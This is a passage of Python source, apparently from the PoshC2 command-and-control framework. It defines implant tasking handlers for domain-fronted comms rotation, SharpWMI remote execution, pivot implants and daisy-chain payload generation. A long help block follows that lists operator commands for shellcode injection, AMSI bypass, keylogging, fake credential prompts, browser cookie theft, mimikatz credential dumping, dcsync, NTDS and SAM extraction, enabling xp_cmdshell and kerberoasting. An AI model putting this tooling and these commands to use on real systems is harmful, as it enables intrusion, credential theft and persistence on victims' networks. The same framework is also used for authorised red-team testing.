|
"""
|
|
Enables comms rotation across multiple URLs.
|
|
|
|
Prompts the operator for a list of URLs to use, then an lists of
|
|
HTTP Host headers for any applicable domain fronting. There is a 1-to-1 relationship between the lists
|
|
and they must be the same size.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
enable-rotation
|
|
"""
|
|
domain = input("Domain or URL in array format: \"https://www.example.com\",\"https://www.example2.com\" ")
|
|
domainfront = input("Domain front URL in array format: \"fjdsklfjdskl.cloudfront.net\",\"jobs.azureedge.net\" ")
|
|
|
|
command = f"dfupdate {domainfront}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
command = f"rotate {domain}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Lateral_Movement])
|
|
def do_sharpwmi(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Execute a SharpWMI command.
|
|
|
|
This is a modified version of https://github.com/GhostPack/SharpWMI/
|
|
|
|
When executing a JS or VBS payload the operator will be prompted for which appropriate payload file to run.
|
|
|
|
The action requires that user performing the action has privileged access to the target.
|
|
Kerberos tickets from Rubeus can be used easily with this technique - request applicable TGT or TGSs and SharpWMI will make use of them during execution.
|
|
If credentials are passed, then that user must be privileged.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sharpwmi action=query query="select * from win32_process"
|
|
sharpwmi action=query query="select * from win32_process where name='explorer.exe'" computername=SERVER01,SERVER02
|
|
sharpwmi action=create command="C:\\windows\\system32\\rundll32 [args]" computername=SERVER01,SERVER02
|
|
sharpwmi action=create command="C:\\windows\\system32\\rundll32 [args]" computername=SERVER01,SERVER02
|
|
sharpwmi action=query query="select * from win32_process" computername=SERVER01 username=DOMAIN\\user password=Password123!
|
|
sharpwmi action=query query="select * FROM AntiVirusProduct" namespace="root\\SecurityCenter2"
|
|
sharpwmi action=create command="C:\\windows\\system32\\rundll32 [args]" computername=SERVER01,SERVER02 username=DOMAIN\\user password=Password123!
|
|
sharpwmi action=executevbs computername=SERVER01,SERVER02 username=DOMAIN\\user password=Password123! payload=base64
|
|
sharpwmi action=executejs computername=SERVER01,SERVER02 username=DOMAIN\\user password=Password123!
|
|
"""
|
|
check_module_loaded("SharpWMI.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("sharpwmi", "run-exe SharpWMI.Program SharpWMI")
|
|
if "execute" in command and "payload" not in command:
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.shellcode-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Location of base64 vbs/js file: ",
|
|
completer=FilePathCompleter(PayloadsDirectory, glob="*.b64"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
if os.path.isfile(path):
|
|
with open(path, "r") as p:
|
|
payload = p.read()
|
|
|
|
command = f"{command} payload={payload}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
else:
|
|
print_bad("Could not find file")
|
|
else:
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Lateral_Movement])
|
|
def do_pbind_connect(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Connect to a PBind implant waiting on a target.
|
|
|
|
If no pipename and secret are passed then the defaults are used from the configuration file
|
|
(which are used by default in payloads).
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
pbind-connect hostname
|
|
pbind-connect hostname <pipename> <secret>
|
|
"""
|
|
key = select_first(C2Server.encryption_key)
|
|
|
|
if len(command.split()) == 2: # 'pbind-connect <hostname>' is two args
|
|
command = f"{command} {PBindPipeName} {PBindSecret} {key}"
|
|
elif len(command.split()) == 4: # if the pipe name and secret are already present just add the key
|
|
command = f"{command} {key}"
|
|
else:
|
|
print_bad("Expected 'pbind-connect <hostname>' or 'pbind-connect <hostname> <pipename> <secret>'")
|
|
return
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Lateral_Movement])
|
|
def do_fcomm_connect(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Connect to an FComm implant waiting on a target.
|
|
|
|
If no filename is passed then the default is used from the configuration file
|
|
(which is used by default in payloads).
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
fcomm-connect hostname
|
|
fcomm-connect hostname <filepath>
|
|
"""
|
|
key = select_first(C2Server.encryption_key)
|
|
|
|
if len(command.split()) == 2: # 'fcomm-connect <hostname>' is two args
|
|
command = f"{command} {FCommFilePath} {key}"
|
|
elif len(command.split()) == 3: # if the pipe name and secret are already present just add the key
|
|
command = f"{command} {key}"
|
|
else:
|
|
print_bad("Expected 'fcomm-connect <hostname>' or 'fcomm-connect <hostname> <filepath>'")
|
|
return
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util])
|
|
def do_dynamic_code(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Compiles and runs DynamicCode.cs in the payloads directory in memory on the target.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
dynamic-code
|
|
dynamic-code arg1 arg2
|
|
"""
|
|
compile_command = "mono-csc %sDynamicCode.cs -out:%sDynamicCode.exe -target:exe -warn:2 -sdk:4.5" % (
|
|
PayloadsDirectory, PayloadsDirectory)
|
|
|
|
try:
|
|
subprocess.check_output(compile_command, shell=True)
|
|
except subprocess.CalledProcessError:
|
|
return
|
|
|
|
os.replace(f"{PayloadsDirectory}DynamicCode.exe", f"{PayloadsDirectory}DynamicCode.exe")
|
|
command = command.replace("dynamic-code", "").strip()
|
|
check_module_loaded(f"{PayloadsDirectory}DynamicCode.exe", implant_id, user, True, command_prefix)
|
|
command = f"run-exe PoshC2DynamicCode.Program DynamicCode {command}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_incident_response_toolkit(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Starts IncidentResponseToolkit but must be an Administrator.
|
|
|
|
Obtains events from the following event logs (Windows Powershell,Security,Microsoft-Windows-TerminalServices-LocalSessionManager,Microsoft-Windows-Terminal-Services-RemoteConnectionManager & Microsoft-Windows-TaskScheduler/)
|
|
|
|
Obtains the ExplicitLogonEvents for last 365 days and any injected threads in running processes.
|
|
|
|
- Events.ExplicitLogonEvents(365)
|
|
- Events.GetEvents("Microsoft-Windows-TaskScheduler/Operational", 106)
|
|
- Events.GetEvents("Microsoft-Windows-Terminal-Services-RemoteConnectionManager/Operational", 1149)
|
|
- Events.GetEvents("Microsoft-Windows-TerminalServices-LocalSessionManager/Operational", 21)
|
|
- Events.GetEvents("Microsoft-Windows-TerminalServices-LocalSessionManager/Operational", 22)
|
|
- Events.GetEvents("Security", 4624)
|
|
- Events.GetEvents("Security", 4625)
|
|
- Events.GetEvents("Security", 4720)
|
|
- Events.GetEvents("System", 7045)
|
|
- Events.GetEvents("Windows Powershell", 400)
|
|
- Threads.StartInjectedThreads()
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
incident-response-toolkit
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_certify(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Starts certify find /vulnerable /currentuser.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
certify find /vulnerable /currentuser
|
|
certify find /vulnerable /currentuser
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_stop_daisy(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Stops a running daisy server.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
stop-daisy
|
|
"""
|
|
update_object(Implant, {Implant.label: ""}, {Implant.id: implant_id})
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Lateral_Movement])
|
|
def do_start_daisy(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Run a wizard to start daisy chaining, optionally creating new daisy payloads.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
start-daisy
|
|
"""
|
|
check_module_loaded("Daisy.dll", implant_id, user, load_module_command=command_prefix)
|
|
elevated = input(Colours.GREEN + "Are you elevated? y/N " + Colours.END)
|
|
proxy_user = ""
|
|
proxy_pass = ""
|
|
proxy_url = ""
|
|
cred_expiry = ""
|
|
prefix_path = ""
|
|
bind_ip = input(Colours.GREEN + "Bind IP on the daisy host: " + Colours.END)
|
|
bind_port = input(Colours.GREEN + "Bind port on the daisy host: " + Colours.END)
|
|
prefix_path = input(Colours.GREEN + "URL prefix: " + Colours.END)
|
|
prefix_path = prefix_path.strip("/")
|
|
daisyserverip = input(Colours.GREEN + f"Daisy Server IP (leave blank for {bind_ip}): " + Colours.END)
|
|
|
|
if daisyserverip == "":
|
|
daisyserverip = bind_ip
|
|
|
|
firstdaisy = input(Colours.GREEN + "Is this the first daisy in the chain? Y/n? " + Colours.END)
|
|
default_url = get_first_url(select_first(C2Server.payload_comms_host), None)
|
|
default_df_header = get_first_domainfront_header(select_first(C2Server.domain_front_header))
|
|
|
|
if default_df_header == default_url:
|
|
default_df_header = None
|
|
|
|
if firstdaisy.lower() == "y" or firstdaisy == "":
|
|
upstream_url = input(Colours.GREEN + f"C2 URL (leave blank for {default_url}): " + Colours.END)
|
|
domain_front = input(
|
|
Colours.GREEN + f"Domain front header (leave blank for {str(default_df_header)}): " + Colours.END)
|
|
proxy_user = input(Colours.GREEN + "Proxy username (<domain>\\<username>, leave blank if none): " + Colours.END)
|
|
proxy_pass = input(Colours.GREEN + "Proxy password (leave blank if none): " + Colours.END)
|
|
proxy_url = input(Colours.GREEN + "Proxy URL (leave blank if none): " + Colours.END)
|
|
cred_expiry = input(Colours.GREEN + "Password/Account Expiration Date: .e.g. 15/03/2018: ")
|
|
|
|
if not upstream_url:
|
|
upstream_url = default_url
|
|
|
|
if not domain_front:
|
|
if default_df_header:
|
|
domain_front = default_df_header
|
|
else:
|
|
domain_front = ""
|
|
else:
|
|
upstream_daisy_host = input(Colours.GREEN + "Upstream daisy server: " + Colours.END)
|
|
upstream_daisy_port = input(Colours.GREEN + "Upstream daisy port: " + Colours.END)
|
|
upstream_daisy_prefix = input(Colours.GREEN + "Upstream daisy prefix: " + Colours.END)
|
|
|
|
if upstream_daisy_prefix == "":
|
|
upstream_url = f"http://{upstream_daisy_host}:{upstream_daisy_port}"
|
|
else:
|
|
upstream_daisy_prefix = upstream_daisy_prefix.strip("/")
|
|
upstream_url = f"http://{upstream_daisy_host}:{upstream_daisy_port}/{upstream_daisy_prefix}"
|
|
|
|
domain_front = upstream_daisy_host
|
|
|
|
urls = f"{select_first(C2Server.urls)},{select_first(C2Server.socks_urls)}".replace('"', '')
|
|
useragent = UserAgent
|
|
command = f"invoke-daisychain \"{bind_ip}\" \"{bind_port}\" {upstream_url} \"{domain_front}\" \"{proxy_url}\" \"{proxy_user}\" \"{proxy_pass}\" \"{useragent}\" \"{prefix_path}\" \"{urls}\""
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
update_object(Implant, {Implant.label: "DAISY"}, {Implant.id: implant_id})
|
|
createpayloads = input(Colours.GREEN + "Would you like to create payloads for this Daisy Server? Y/n ")
|
|
|
|
if createpayloads.lower() == "y" or createpayloads == "":
|
|
name = input(Colours.GREEN + "Enter a payload name: " + Colours.END)
|
|
host_implant = get_implant(implant_id)
|
|
powershell_proxy_command = "if (!$proxyurl){$wc.Proxy = [System.Net.GlobalProxySelection]::GetEmptyWebProxy()}"
|
|
c2_server = select_first(C2Server)
|
|
|
|
url = URL(
|
|
name=name,
|
|
url=f"http://{daisyserverip}:{bind_port}/{prefix_path}",
|
|
host_header="",
|
|
proxy_url=proxy_url,
|
|
proxy_username=proxy_user,
|
|
proxy_password=proxy_pass,
|
|
credential_expiry=cred_expiry
|
|
)
|
|
|
|
insert_object(url)
|
|
|
|
if url.id:
|
|
new_payload = Payloads(
|
|
c2_server.kill_date,
|
|
c2_server.encryption_key,
|
|
c2_server.insecure,
|
|
c2_server.user_agent,
|
|
c2_server.referer,
|
|
f"{get_new_implant_url()}?d",
|
|
PayloadsDirectory,
|
|
powershell_proxy_command=powershell_proxy_command,
|
|
url_id=url.id
|
|
)
|
|
|
|
new_payload.ps_dropper = new_payload.ps_dropper.replace(f"$pid;{upstream_url}",
|
|
f"$pid;{host_implant.user}@{host_implant.domain}")
|
|
new_payload.create_droppers(f"{name}_")
|
|
new_payload.create_raw(f"{name}_")
|
|
new_payload.create_shellcode(f"{name}_")
|
|
new_payload.create_donut_shellcode(f"{name}_")
|
|
new_payload.create_dynamic_payloads(f"{name}_")
|
|
print_good(f"Created new {name} daisy payloads")
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Help])
|
|
def do_help(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Displays a list of all the available commands for this implant, or
|
|
help for a particular command if specified.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
help
|
|
help list-modules
|
|
help inject-shellcode
|
|
"""
|
|
print_command_help(command, commands, commands_help, block_help)
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Help])
|
|
def do_helpold(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Displays a list of all the available commands for this implant, or
|
|
help for a particular command if specified.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
help
|
|
help list-modules
|
|
help inject-shellcode
|
|
"""
|
|
|
|
sharp_help = """
|
|
* Implant Features:
|
|
====================
|
|
arpscan 172.16.0.1/24 true
|
|
back
|
|
beacon 60s / beacon 10m / beacon 2h
|
|
bypass-amsi
|
|
cd C:\\Users\\Public\\
|
|
copy c:\\temp\\test.exe c:\\temp\\test.bac
|
|
copy c:\\temp\\test.exe c:\\temp\\test2.exe
|
|
CopyFolder c:\\temp\\ C:\\temp2\\
|
|
CoreHelp
|
|
corehelp
|
|
create-lnk c:\\users\\public\\test.lnk c:\\windows\\system32\\rundll32.exe c:\\users\\public\\test.dll,VoidFunc
|
|
create-lnk C:\\Users\\userName\\appdata\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Cisco.lnk c:\\windows\\system32\\rundll32.exe c:\\users\\public\\wkrp.dll,VoidFunc
|
|
create-startuplnk OneNote.lnk c:\\windows\\system32\rundll32.exe c:\\users\\public\\wkrp.dll,VoidFunc
|
|
create-startuplnk test.lnk c:\\windows\\system32\\rundll32.exe c:\\users\\public\\test.dll,VoidFunc
|
|
cred-popper Outlook "Please Enter Your Domain Credentials" [optional username]
|
|
curl https://www.google.co.uk
|
|
curl https://www.google.co.uk <domain-front-header-optional> <proxy-optional> <proxy-user-optional> <proxy-pass-optional>
|
|
curl https://www.google.co.uk [domain-front-header] [proxy] [proxy-user] [proxy-pass] [comma-separated-headers]
|
|
curl https://www.google.co.uk myserver.azureedge.net
|
|
curl https://www.google.co.uk myserver.azureedge.net http://10.10.10.1:8080
|
|
curl https://www.google.co.uk myserver.azureedge.net http://10.10.10.1:8080 user pass
|
|
del
|
|
del c:\\temp\\test.exe
|
|
disable-environmentexit
|
|
dll-lister [powershell]
|
|
dll-searcher clr.dll mscoree.dll
|
|
dllsearcher clr.dll mscoree.dll
|
|
dllsearcher system.management.automation.dll system.management.automation.ni.dll
|
|
download-file "c:\\temp\\test.exe"
|
|
download-file Base64SourceFilePath
|
|
echo "Param1" "Param2"
|
|
enable-rotation
|
|
enum-vhdx c:\\temp\\directory
|
|
enum-vhdx-dir c:\\temp\\directory
|
|
fileaccesstime c:\\temp\\test.exe
|
|
find-file <filename, e.g. flag> <extension, txt> <drive-optional, e.g. c:> <hostname-optional, e.g. 127.0.0.1>
|
|
find-windows
|
|
findfile flag txt
|
|
findfile groups xml
|
|
findfile passwords txt
|
|
free-memory 0x180000000
|
|
freememory 0x180000000
|
|
gc c:\\temp\\log.txt
|
|
get-aadjoininformation
|
|
get-acl c:\temp\test.exe
|
|
get-api-calls
|
|
get-apicall ntdll.dll NtQueueApcThreadEx
|
|
get-computerinfo
|
|
get-content c:\\temp\\log.txt
|
|
get-creds
|
|
get-currentworkingdirectory
|
|
get-dllbaseaddress
|
|
get-dodgyprocesses
|
|
get-env
|
|
get-file-changes [dir] [days difference]
|
|
get-idletime
|
|
get-methods Core.Program Core
|
|
get-multi-screenshot <interval> [optional-width] [optional-height]
|
|
get-osversion
|
|
get-process <name of process>
|
|
get-processlist
|
|
get-processlist-dotnet
|
|
get-remoteprocesslisting HOSTNAME1,HOSTNAME2 [explorer.exe] [Username] [Domain] [Password]
|
|
get-remoteprocesslistingall HOSTNAME1,HOSTNAME2
|
|
get-rotation
|
|
get-screenshot [width-optional] [height-optional]
|
|
get-screenshotallwindows
|
|
get-screensize
|
|
get-serviceperms c:\\temp\\
|
|
get-userinfo
|
|
getcurrentworkingdirectory
|
|
getdllbaseaddress
|
|
getinstallerinfo
|
|
getpowerstatus
|
|
getprocess explorer
|
|
getprocesslist
|
|
help
|
|
hide-implant
|
|
hook-terminateprocess
|
|
incident-response-toolkit
|
|
inject-dll <dll-location> <pid/path> <ppid>
|
|
inject-shellcode <rwx> <base64-shellcode> <pid/path> <ppid>
|
|
inject-shellcodectx <rwx> <base64-shellcode> <pid/path> <ppid>
|
|
inject-shellcodekct <process> <path> <base64-shellcode>
|
|
inject-shellcodesyscall <rwx> <base64-shellcode> <pid/path>
|
|
inveigh
|
|
invoke-daisychain <args>
|
|
kill-implant
|
|
kill-process
|
|
kill-process 1357
|
|
kill-process 1890
|
|
kill-remote-process 1357 DESKTOP-2NCNQ59
|
|
kill-remote-process 1890 <hostname>
|
|
label-implant <newlabel>
|
|
ldap-Searcher "(&(objectCategory=user)(samaccountname=user))" "LDAP://bloredc1.blorebank.local/DC=blorebank,DC=local" <optional-properties> <optional-resolve>
|
|
ldap-searcher-recursive "(&(objectCategory=group)(samaccountname=Domain Admins))" "LDAP://bloredc1.blorebank.local/DC=blorebank,DC=local" <optional-properties>
|
|
list-loaded-modules
|
|
list-modules
|
|
listmodules
|
|
loadmodule Seatbelt.exe
|
|
loadmoduleforce
|
|
loadpowerstatus
|
|
localgroupmember server1.blorebank.local administrators
|
|
lockless WebCacheV01.dat
|
|
lockless WebCacheV01.dat /process:taskhostw /copy:C:\\Temp\\out.tmp
|
|
ls c:\\temp\\
|
|
ls-pipes
|
|
ls-recurse c:\\temp\\
|
|
ls-reg HKEY_LOCAL_MACHINE SOFTWARE\\Classes\\CLSID
|
|
ls-reghkcu SOFTWARE\\Classes\\CLSID
|
|
ls-reghklm SOFTWARE\\Classes\\CLSID
|
|
ls-remotepipes server1
|
|
ls-simple c:\\temp\\
|
|
lsreghkcu SOFTWARE
|
|
lsreghklm "SOFTWARE\\Classes\\CLSID\\{FFFDC614-B694-4AE6-AB38-5D6374584B52}"
|
|
lsreghklm SOFTWARE\\Classes\\CLSID
|
|
mkdir c:\\backup-ntds
|
|
mkdir c:\\temp\\
|
|
modulesloaded
|
|
move c:\\temp\\old.exe c:\\temp\\new.exe
|
|
movefolder c:\\temp\\old.exe C:\temp\new.exe
|
|
net-share-enum-full server1,server2
|
|
netsessionenum server1,server2
|
|
netshareenum server1,server2
|
|
netstat
|
|
portscan "Host1,Host2" "80,443,3389" "1" "100"
|
|
posh-delete c:\\temp\\test.exe
|
|
ps
|
|
pslo powerview.ps1
|
|
pwd
|
|
quit
|
|
reg-read HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall <keyname>
|
|
reg-write-hkcu SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall <name> <value>
|
|
regread <keypath> <keyname>
|
|
regread HKEY_CURRENT_USER\\SOFTWARE\\Citrix\\Dazzle FirstRunInstall
|
|
regread HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall <keyname>
|
|
regread HKEY_USERS\\S-1-5-18\\Environment TEMP
|
|
regreaduninstall
|
|
remove-dllbaseaddress
|
|
remove-label
|
|
removedllbaseaddress
|
|
resolve-dnsname www.google.com,www.aol.com
|
|
resolve-ip 10.0.0.1
|
|
resolvednsname google.com
|
|
resolveip 127.0.0.1
|
|
rmdir c:\\backup-ntds
|
|
rmdir c:\temp\\
|
|
run-dll Seatbelt.Program Seatbelt UserChecks
|
|
run-dll SharpSploit.Enumeration.Host SharpSploit GetHostname
|
|
run-dll SharpSploit.Enumeration.Host SharpSploit GetProcessList
|
|
run-dll-background Core.Program Core runmylongdll
|
|
run-exe Core.Program Core
|
|
run-exe-background Core.Program Core runmylongapp
|
|
runas <user> <password> <os command> <domain> <timeout> <logontype>
|
|
runasps <domain> <user> <password> <ps command>
|
|
runof demo_bof.x64.o
|
|
runof env.x64.o
|
|
runof ipconfig.x64.o
|
|
runof-debug demo_bof.x64.o
|
|
runpe ATPMiniDump.exe
|
|
runpe SpoolSample.exe \\\\targetserver \\\\CaptureServer
|
|
runpe-debug MS-RPRN.exe \\\\targetserver \\\\CaptureServer
|
|
searchallhelp mimikatz
|
|
searchhelp listmodules
|
|
searchhistory invoke-mimikatz
|
|
seatbelt -group=all
|
|
seatbelt -group=system
|
|
seatbelt AutoRuns
|
|
seatbelt ExplorerRunCommands
|
|
seatbelt PoweredOnEvents
|
|
seatbelt RDPSavedConnections
|
|
seatbelt RDPSessions
|
|
set-currentworkingdirectory C:\\Users\\Public\\
|
|
setcurrentworkingdirectory c:\\users\\public\\
|
|
setdelegates <pSendData> <pGetDllBaseAddress> <pGetCurrentTaskId>
|
|
shadowcopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy6\\Windows\\System32\\config\\SAM SAM.backup
|
|
shadowcopy enum
|
|
sharpapplocker
|
|
sharpedrchecker
|
|
sharpps get-process
|
|
sharpreg
|
|
sharptask --addtask local 09:30 \\ TaskName "Task Description" C:\\Windows\\system32\\cmd.exe "/c mshta.exe"
|
|
sharptask --listall local
|
|
sharptask --listall local \\
|
|
sharptask --removetask local \\ Test
|
|
sslinspectioncheck https://www.google.com
|
|
sslinspectioncheck https://www.google.com <proxyhost> <proxyuser> <proxypass> <useragent>
|
|
start-process net users
|
|
start-process net.exe -argumentlist users
|
|
start-process-silent "C:\\Program Files\\Internet Explorer\\iexplore.exe" -argumentlist www.recruitment.com/survey
|
|
start-process-silent net users
|
|
start-shortcut c:\\users\\public\\image.lnk
|
|
start-shortcut c:\\users\\public\\test.lnk
|
|
stop-daisy
|
|
stop-multi-screenshot
|
|
stop-powerstatus
|
|
stopinveigh
|
|
stoppowerstatus
|
|
test-adcredential Domain Username Password
|
|
test-localcredential Username Password
|
|
turtle 5h
|
|
turtle 60s / turtle 30m / turtle 8h
|
|
unhide-implant
|
|
unhooker
|
|
unzip c:\\backup.zip c:\\backup-ntds\\
|
|
unzip c:\temp\\test.zip c:\\temp\\
|
|
upload-file -source /tmp/test.exe -destination "c:\\temp\\test.exe"
|
|
upload-file SourceBase64 DestinationFilePathBase64
|
|
winver
|
|
wmi-query HOSTNAME "root\\cimv2" "select * FROM Win32_Share" [Username] [Domain] [Password]
|
|
zip c:\\backup-ntds\\ c:\\backup.zip
|
|
zip c:\\temp\\ c:\\users\\public\temp.zip
|
|
|
|
* Running PS
|
|
=============
|
|
sharpps $psversiontable
|
|
pslo powerview.ps1
|
|
|
|
* Migration
|
|
============
|
|
migrate
|
|
inject-shellcode c:\\windows\\system32\\svchost.exe <optional-ppid-spoof>
|
|
inject-shellcode <pid>
|
|
get-apicall ntdll.dll NtQueueApcThreadEx
|
|
disableenvironmentexit
|
|
|
|
* Privilege Escalation:
|
|
========================
|
|
arpscan 172.16.0.1/24 true
|
|
get-serviceperms c:\\temp\\
|
|
get-screenshot
|
|
get-screenshotmulti 2m
|
|
stop-screenshotmulti
|
|
get-screenshotallwindows
|
|
start-keystrokes
|
|
start-keystrokes-writefile
|
|
get-keystrokes
|
|
stop-keystrokes
|
|
testadcredential domain username password
|
|
testlocalcredential username password
|
|
cred-popper "Outlook" "Please Enter Your Domain Credentials"
|
|
cred-popper "Putty" "Please re-enter your OTP code" "root@172.16.0.1"
|
|
getcreds
|
|
get-hash
|
|
sharpup
|
|
sharpweb all
|
|
sharpchrome cookies /showall
|
|
sharpchromium all
|
|
sharpchromium logins
|
|
sharpchromium history
|
|
sharpchromium cookies mail.x.com
|
|
seatbelt -group=all
|
|
seatbelt -group=chrome
|
|
seatbelt -group=misc
|
|
seatbelt TcpConnections
|
|
seatbelt "WindowsFirewall tcp"
|
|
seatbelt CredEnum
|
|
seatbelt WindowsCredentialFiles
|
|
seatbelt WindowsVault
|
|
watson
|
|
sharpcookiemonster
|
|
sharpdpapi machinetriage
|
|
sharpchrome logins
|
|
sweetpotato -p c:\\users\\public\\startup.exe
|
|
stickynotesextract
|
|
filegrep <path> <file mask> <regex> <recurse>
|
|
filegrep \\server\\share *.* credential: true
|
|
filegrep \\server\\share *.* "(password|pass|cred|credential)\\s*(=|:|>)" true
|
|
syscallsextractor
|
|
|
|
* Process Dumping:
|
|
===================
|
|
safetydump
|
|
safetydump <pid>
|
|
safetykatz minidump
|
|
safetykatz full
|
|
|
|
* Mimikatz via SharpSploit:
|
|
============================
|
|
mimikatz Wdigest
|
|
mimikatz LsaSecrets
|
|
mimikatz LsaCache
|
|
mimikatz SamDump
|
|
mimikatz Command "privilege::debug sekurlsa::logonPasswords"
|
|
mimikatz Command "\\"crypto::capi\\" \\"crypto::certificates /export\\""
|
|
dcsync <domain.fqdn> <user>
|
|
|
|
* Dumping Active Directory:
|
|
============================
|
|
mkdir c:\\backup-ntds\\
|
|
start-process ntdsutil.exe "\\"activate instance ntds\\" \\"ifm\\" \\"create full c:\\backup-ntds\\ \\" \\"q\\" \\"q\\""
|
|
zip c:\\backup-ntds\\ c:\\backup.zip
|
|
|
|
* Network Tasks:
|
|
=================
|
|
farmer /url:http://+:10247/apps/ /timer:360
|
|
sqlquery server=localhost
|
|
sqlquery server=localhost username=sa password=sa
|
|
sqlquery server=localhost port=5555 username=sa password=sa database=Master
|
|
sqlquery server=localhost port=5555 username=sa password=sa catalogue=Master
|
|
sqlquery connectionstring="Server=127.0.0.1:1433;Database=MYDB;Initial Catalog=Master;Integrated Security=True;" query="SELECT suser_name();"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT suser_name();"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT @@version;"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT suser_name();"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT user;"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT user_name();"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="EXEC sp_databases;"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT * from sysobjects where xtype='u';"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT name from DBNAME..sysobjects where xtype='u';"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT * FROM databaseName.INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT * FROM sys.sql_logins;"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
|
|
rubeus kerberoast /nowrap
|
|
rubeus dump
|
|
rubeus triage
|
|
rubeus asreproast /user:username
